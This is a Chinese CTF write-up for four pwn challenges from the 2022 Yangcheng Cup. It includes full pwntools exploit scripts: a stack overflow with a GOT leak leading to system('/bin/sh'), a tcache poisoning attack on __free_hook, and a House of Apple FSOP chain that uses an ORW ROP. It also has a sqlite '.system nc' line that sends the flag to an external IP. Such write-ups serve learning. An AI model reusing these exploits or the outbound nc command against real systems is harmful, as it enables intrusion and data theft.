2022羊城杯pwn wp

YCBSQL

远程是上传一个sql文件,题目提示用nc带出flag。

优先考虑sqlite自带的.system函数(抱着试一试的想法),然后找web手要了个vps监听,莫名其妙就出了。

sql文件内容:

.system nc 1.117.171.248 9997 

fakeNoOutput

是个httpd。最后三分钟做出来了。

协议格式逆了半天,有个栈溢出在upload里,触发溢出的条件:

  • HTTP_SERVER1_token是系统随机生成的,得写对。token记得用\x00截断

  • 开头得有个POST 。

  • 中间得有空格。

  • 得有一个/upload。

  • 后面输入字节数由报文格式里的content-length确定,否则会一直陷入死循环。

然后就是用程序自带的函数泄露got表里的libc地址:

2022羊城杯pwn wp_第1张图片

控制参数a1即可,然后就是重回start后调用system。

这里还有几点需要注意:

  • 重回之后得重新输入HTTP_SERVER1_token

  • one_gadget都失效,用system提权,由于payload中不能出现\x00(差点把我坑了),所以我们用;隔断,写入/bin/sh;即可

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
context.arch='i386'
r = process('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/fakeNoOutput')
r = remote('tcp.dasc.buuoj.cn',26595)
elf = ELF('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/fakeNoOutput')
libc = ELF('/mnt/hgfs/ubuntu/ycb/fakeNoOutput/libc.so.6')



payload = b'POST /upload .jsp HTTP/1.1\r\nHTTP_SERVER1_token:wR5qH796Ky8D03r2W7syLB7406e30xP7\x00Accept: */*\r\nAccept-Language: zh-cn\r\nContent-Type: multipart/form-data; boundary=---------------------------7da29f2d890386\r\nHost: abc.com\r\nContent-Length: 5376\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n'


r.sendline(payload)
payload2 = b"Content: filename=aaaa"
r.sendline(payload2)

fwrite =  0x8049724
leave_ret = 0x08049365
fprintf = 0x8049740
pop_ebx = 0x08049022
ok = 0x80496A1


payload3 = b''
payload3 = payload3.ljust(0x1044,b'a')+p32(ok)+p32(0x80492E0)+p32(elf.got["strstr"])
payload3 = payload3.ljust(0x14e8,b'a')

r.sendline(payload3)
libc_base = u32(r.recvuntil(b'\xf7')[-4:])-libc.sym["strstr"]
# r.sendline(b'a'*47+b'\0')
# gdb.attach(r)
payload = b'POST /upload .jsp HTTP/1.1\r\nHTTP_SERVER1_token:5lnPP74OkC4N9U8smBU812Smk1XxvRBJ\x00Accept: */*\r\nAccept-Language: zh-cn\r\nContent-Type: multipart/form-data; boundary=---------------------------7da29f2d890386\r\nHost: abc.com\r\nContent-Length: 5376\r\nConnection: Keep-Alive\r\nCache-Control: no-cache\r\n'
r.sendline(payload)
payload2 = b"Content: filename=aaaa"
r.sendline(payload2)

system_addr = libc_base+libc.sym["system"]

payload3 = b'/bin/sh;'
payload3 = payload3.ljust(0x1044,b'a')+p32(system_addr)+p32(0xdeadbeef)+p32(0x804D1A0)
payload3 = payload3.ljust(0x14e8,b'a')
r.sendline(payload3)

log.success("libc_base: "+hex(libc_base))
r.interactive()

Linklist

一个链表堆题

我利用的洞是unlink的时候next指针没有清空,

能够造成例如a->b->c->d unlink之后成为

a->c->d

b->c->d

不过此时b->c->d的nodenum为1,因此不好操作,唯一好利用的点就是通过delete 0xff来清空一整条链表,此时没有检查nodenum。

我申请了大小为0x10大小的内容堆块,以和结构体堆块大小一样。

然后free掉两时候,0x20大小的tcache free list就有四个堆块。

此时适当构造堆风水,可以show出heap地址,同时后续可以申请一个内容堆块到UAF的结构体堆块,提前在其他地方伪造好 fake_chunk_size(在UAF结构体堆块伪造的话,后续free掉,因为程序的操作,unsortedbin的fd指针会清零,dump不了libc基址),然后改掉UAF结构体堆块的ptr,通过delete 0xff来free掉fake chunk。然后show然后overlapping 打tcache就好。

from pwn import *
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
context.log_level = 'debug'
r = process('/mnt/hgfs/ubuntu/ycb/linklist/pwn')
r = remote('tcp.dasc.buuoj.cn',21077)
libc = ELF('/mnt/hgfs/ubuntu/ycb/linklist/libc.so.6')


def menu(choice):
    r.recvuntil("Your choice:")
    r.sendline(str(choice))

def add(size,content):
    menu(1)
    r.recvuntil(b"Size:")
    r.sendline(str(size))
    r.recvuntil("Content:")
    r.send(content)

def delete(idx,offset):
    menu(2)
    r.recvuntil(b"Index")
    r.sendline(str(idx))
    r.recvuntil(b"Input offset:")
    r.sendline(str(offset))

def link(idx1,idx2):
    menu(3)
    r.recvuntil(b"link from:")
    r.sendline(str(idx1))
    r.recvuntil(b"link to:")
    r.sendline(str(idx2))

def unlink(idx,offset):
    menu(4)
    r.recvuntil(b"Index:")
    r.sendline(str(idx))
    r.recvuntil(b"Input offset:")
    r.sendline(str(offset))


#heaplist 0x4060
#nodenum 0x40e0

# add(0x60,b'a'*0x60)#0
# add(0x60,b'b'*0x60)#1
# add(0x60,b'c'*0x60)#2
# add(0x60,b'd'*0x60)#3
# add(0x60,b'e'*0x60)#4
# add(0x60,b'f'*0x60)#5
# link(0,1)
# link(0,2)

# unlink(0,1)#1

# delete(0,1)

# add(0x60,b'a')#2
# delete(1,0xff)

add(0x10,b'a'*0x10)#0
add(0x10,b'b'*0x10)#1
add(0x10,b'c'*0x10)#2
link(0,1)
link(0,2)
unlink(0,1)
delete(1,0xff)
add(0x60,b'e'*0x60)#1
add(0x60,b'd'*0x60)#2
add(0x60,b'd'*0x60)#3
add(0x60,b'd'*0x60)#4
link(2,1)
delete(3,0)
delete(2,1)

menu(4)
r.recvuntil(b"Index:")
r.sendline(str(0))
r.recvuntil(b"Offset 1:")
heap_base = u64(r.recvuntil(b'\n')[:-1].ljust(8,b'\0'))-0x440
r.recvuntil(b"Input offset:")
r.sendline(str(1))
add(0x60,p64(0)+p64(0x4a1)+b'd'*0x50)#3
add(0x18,p64(0)+p64(0)+p64(heap_base+0x370))#5
add(0x60,b'd'*0x60)#6
add(0x60,b'd'*0x60)#7
add(0x60,b'd'*0x60)#8
add(0x60,b'd'*0x60)#9
add(0x60,b'd'*0x60)#10
add(0x60,b'd'*0x60)#11

delete(0,0xff)
add(0x50,b'a')
link(1,2)
#leak libc
menu(4)
r.recvuntil(b"Index:")
r.sendline(str(1))
libc_base = u64(r.recvuntil(b'\x7f')[-6:].ljust(8,b'\0'))-0x1ebbe0
r.recvuntil(b"Input offset:")
r.sendline(str(1))
delete(3,0)
delete(4,0)
free_hook = libc_base+libc.sym["__free_hook"]
one_gadget = libc_base+0xe6c81
add(0x70,b'a')
add(0x70,p64(free_hook)*14)
add(0x60,b'a')
add(0x60,p64(one_gadget))

# gdb.attach(r)
delete(1,0)
# unlink(2,3)


log.success("libc_base: "+hex(libc_base))
log.success("heap_base: "+hex(heap_base))
r.interactive()

Dream

最垃圾的板子题,解得人最少。

Glibc 2.32,白给的UAF,除了show给了一个魔改tea加密,甚至还提供了perror这种调用stderr的函数

用house of emma本地通了三小时,远程咋都不通,不然早一血了。

尝试过换libc版本,爆破tls,很奇怪就是不通。

然后换house of apple打通了。

from decimal import setcontext
from pickle import TRUE
from pwn import *
import ctypes
from ctypes import c_int, c_uint32
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
# context.log_level = 'debug'
context.arch='amd64'
r = process('/mnt/hgfs/ubuntu/ycb/dream/dream')
r = remote('tcp.dasc.buuoj.cn',28072)
libc = ELF('/mnt/hgfs/ubuntu/ycb/dream/libc-2.32.so')

global DELTA 

DELTA = 0x9e3779b9
DELTA2 = 0x61C88647

def btea(v, n, key):
    # assert len(key) == 4
    # assert len(v) == 2
    
    key = [c_uint32(i) for i in key]
    v = [c_uint32(i) for i in v]
    
    if n > 1:
        rounds = 6 + 52//n
        sum = c_uint32(0)
        z = v[n-1]
        
        while True:
            sum.value -= DELTA2
            e = (sum.value >> 2) & 3
            
            for p in range(n-1):
                y = v[p+1]
                MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF)
                # print("MX:0x%x" % MX)
                v[p].value += MX
                z = v[p]
            p = n-1    
                
            y = v[0]
            # print(p,e,sum.value)
            # print(z.value,y.value,key[(p&3)^e].value,sum.value)
            MX = ((((z.value>>7)^(y.value<<3)) + ((y.value>>3)^(z.value<<4))) & 0xFFFFFFFF ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)) & 0xFFFFFFFF)
            # print("MX Final:0x%x" % MX)
            v[n-1].value += MX
            z = v[n-1]
            
            # print("rounds:%d" % rounds)
            # print("rounds:0x%x | sum:0x%x | e:0x%x | y:0x%x | z:0x%x" % (rounds, sum.value, e, y.value, z.value))
            rounds -= 1
            if rounds == 0:
                break
    elif n < -1:
        n = -n
        rounds = 6 + 52//n
        sum = c_uint32(rounds*DELTA)
        y = v[0]
        while True:
            e = (sum.value >> 2) & 3
            for p in range(n-1, 0, -1):
                z = v[p-1]
                v[p].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)))
                y = v[p]
            p = 0

            z = v[n-1]
            v[0].value -= (((z.value>>7^y.value<<3) + (y.value>>3^z.value<<4)) ^ ((sum.value^y.value) + (key[(p&3)^e].value ^ z.value)))
            y = v[0]

            sum.value -= DELTA

            rounds -= 1
            if rounds == 0:
                break
            
    ret = [i.value for i in v]
    return ret

# r = btea([1,2, 3,4], 4, [2,2,3,4])


def menu(choice):
    r.recvuntil(b"choice: ")
    r.sendline(str(choice))

def add(idx,size,content):
    menu(1)
    r.recvuntil(b"Give me a dream ID: ")
    r.sendline(str(idx))
    r.recvuntil(b"how long: ")
    r.sendline(str(size))
    r.recvuntil(b"dream: ")
    r.send(content)

def delete(idx):
    menu(2)
    r.recvuntil(b"Which dream to wake?")
    r.sendline(str(idx))

def show(idx):
    menu(4)
    r.recvuntil(b"Which dream do you want to show?")
    r.sendline(str(idx))

def edit(idx,content):
    menu(3)
    r.recvuntil(b"Which dream to make?")
    r.sendline(str(idx))
    r.recvuntil(b"dream: ")
    r.send(content)

def ROL(content, key):
    tmp = bin(content)[2:].rjust(64, '0')
    return int(tmp[key:] + tmp[:key], 2)


add(0,0x420,b'a')#0
add(10,0x440,b'a')
add(11,0x480,b'a')
add(1,0x400,b'a')#1
add(2,0x470,b'a')#2
add(5,0x400,b'a')
add(3,0x430,b'a')#3
add(6,0x400,b'a')
add(4,0x440,b'a')#4
add(7,0x400,b'a')

delete(0)
delete(4)




add(8,0x450,b'a')

show(0)
data = r.recv(0x420)

ls = [u32(data[4*i:4*(i+1)]) for i in range(0x420//4)]

data2 = btea(ls, -len(ls), [9,5,2,7])


# # print(len(data2))
# print(hex(data2[0]),hex(data2[1]))
libc_base = ((data2[1]<<32)+data2[0])-0x1e3ff0
heap_base = ((data2[5]<<32)+data2[4])-0x290
delete(3)
stderr = libc_base+0x1e47a0
edit(4,p64(libc_base+0x1e4000)*2+p64(heap_base+0x1b50)+p64(stderr-0x20))
add(9,0x450,b'a')
leave_ret = libc_base + 0x000000000005591c
fake_IO_addr = heap_base + 0x290
rop_address = fake_IO_addr + 0xe0 + 0xe8 + 0x70

        # orw =  b'./flag\x00\x00'
        # orw += p64(pop_rdx_r12_ret) + p64(0) + p64(fake_IO_addr - 0x10)
        # orw += p64(pop_rdi_ret) + p64(rop_address)
        # orw += p64(pop_rsi_ret) + p64(0)
        # orw += p64(libc.sym['open'])
        # orw += p64(pop_rdi_ret) + p64(3)
        # orw += p64(pop_rsi_ret) + p64(rop_address + 0x100)
        # orw += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
        # orw += p64(libc.sym['read'])
        # orw += p64(pop_rdi_ret) + p64(1)
        # orw += p64(pop_rsi_ret) + p64(rop_address + 0x100)
        # orw += p64(pop_rdx_r12_ret) + p64(0x50) + p64(0)
        # orw += p64(libc.sym['write'])
gadget_addr = libc_base+0x14b520+576
setcontext_addr = libc_base+libc.sym["setcontext"]+61
# payload = p64(0) + p64(leave_ret) + p64(0) + p64(stderr - 0x20)
# payload = payload.ljust(0x38, b'\x00') + p64(rop_address)
# payload = payload.ljust(0x90, b'\x00') + p64(fake_IO_addr + 0xe0)
# payload = payload.ljust(0xc8, b'\x00') + p64(libc.sym['_IO_wfile_jumps'])
# payload = payload.ljust(0xd0 + 0xe0, b'\x00') + p64(fake_IO_addr + 0xe0 + 0xe8)
# payload = payload.ljust(0xd0 + 0xe8 + 0x68, b'\x00') + p64(gadget_addr)


fake_io_addr=heap_base+0x1c40 # 浼€犵殑fake_IO缁撴瀯浣撶殑鍦板潃
next_chain = 0
fake_IO_FILE=p64(0)         #_flags=rdi
fake_IO_FILE+=p64(0)*5
fake_IO_FILE +=p64(1)+p64(0)
fake_IO_FILE +=p64(fake_io_addr+0x200-0x90)#_IO_backup_base=rdx
fake_IO_FILE +=p64(setcontext_addr)#_IO_save_end=call addr(call setcontext/system)
fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
fake_IO_FILE += p64(0)  # _chain
fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
fake_IO_FILE += p64(heap_base+0x1000)  # _lock = a writable address
fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
fake_IO_FILE +=p64(fake_io_addr+0x30)#_wide_data,rax1_addr
fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
fake_IO_FILE += p64(0)
fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10)  # vtable=IO_wfile_jumps+0x10
fake_IO_FILE +=p64(0)*6
fake_IO_FILE += p64(fake_io_addr+0x40)  # rax2_addr

pop_rax_addr = libc_base+0x0000000000045580
syscall_addr = libc_base+0x00000000000611ea
pop_rdi_addr = libc_base+0x000000000002858f
pop_rsi_addr = libc_base+0x000000000002ac3f
pop_rdx_r12_addr = libc_base+0x0000000000114161
# leave_ret = 



fake_IO_FILE = fake_IO_FILE.ljust(0x200,b'\0')
fake_IO_FILE+=p64(fake_io_addr+0x260)+p64(pop_rdi_addr+1)
fake_IO_FILE = fake_IO_FILE.ljust(0x250,b'\0')







rop_data = [
        pop_rax_addr,  # sys_open('flag', 0)
        2,
        pop_rdi_addr,
        heap_base+0x2050,
        syscall_addr,
    
        pop_rax_addr,  # sys_read(flag_fd, heap, 0x100)
        0,
        pop_rdi_addr,
        3,
        pop_rsi_addr,
        heap_base + 0x200,
        pop_rdx_r12_addr,
        0x200,
        0,
        syscall_addr,

        pop_rax_addr,  # sys_write(1, heap, 0x100)
        1,
        pop_rdi_addr,
        1,
        pop_rsi_addr,
        heap_base + 0x200,
        pop_rdx_r12_addr,
        0x200,
        0,
        syscall_addr
    ]

fake_IO_FILE+=flat(rop_data)
fake_IO_FILE = fake_IO_FILE.ljust(0x400,b'\0')
fake_IO_FILE+=b'./flag\x00'


# fake_IO_FILE = p64(0)*4
# fake_IO_FILE +=p64(0)
# fake_IO_FILE +=p64(0)
# fake_IO_FILE +=p64(1)+p64(0)
# fake_IO_FILE +=p64(heap_base+0xc18-0x68)#rdx
# fake_IO_FILE +=p64(setcontext_addr)#call addr
# fake_IO_FILE = fake_IO_FILE.ljust(0x58, b'\x00')
# fake_IO_FILE += p64(0)  # _chain
# fake_IO_FILE = fake_IO_FILE.ljust(0x78, b'\x00')
# fake_IO_FILE += p64(heap_base+0x200)  # _lock = writable address
# fake_IO_FILE = fake_IO_FILE.ljust(0x90, b'\x00')
# fake_IO_FILE +=p64(heap_base+0xb30) #rax1
# fake_IO_FILE = fake_IO_FILE.ljust(0xB0, b'\x00')
# fake_IO_FILE += p64(0)  # _mode = 0
# fake_IO_FILE = fake_IO_FILE.ljust(0xC8, b'\x00')
# fake_IO_FILE += p64(libc_base+libc.sym['_IO_wfile_jumps']+0x10)  # vtable=IO_wfile_jumps+0x10
# fake_IO_FILE +=p64(0)*6
# fake_IO_FILE += p64(heap_base+0xb30+0x10)  # rax2

edit(3,fake_IO_FILE)




log.success("heap_base: "+hex(heap_base))
log.success("libc_base: "+hex(libc_base))
# gdb.attach(r,'b *'+str(hex(setcontext_addr)))
menu(5)
r.interactive()

你可能感兴趣的:(wp,pwn)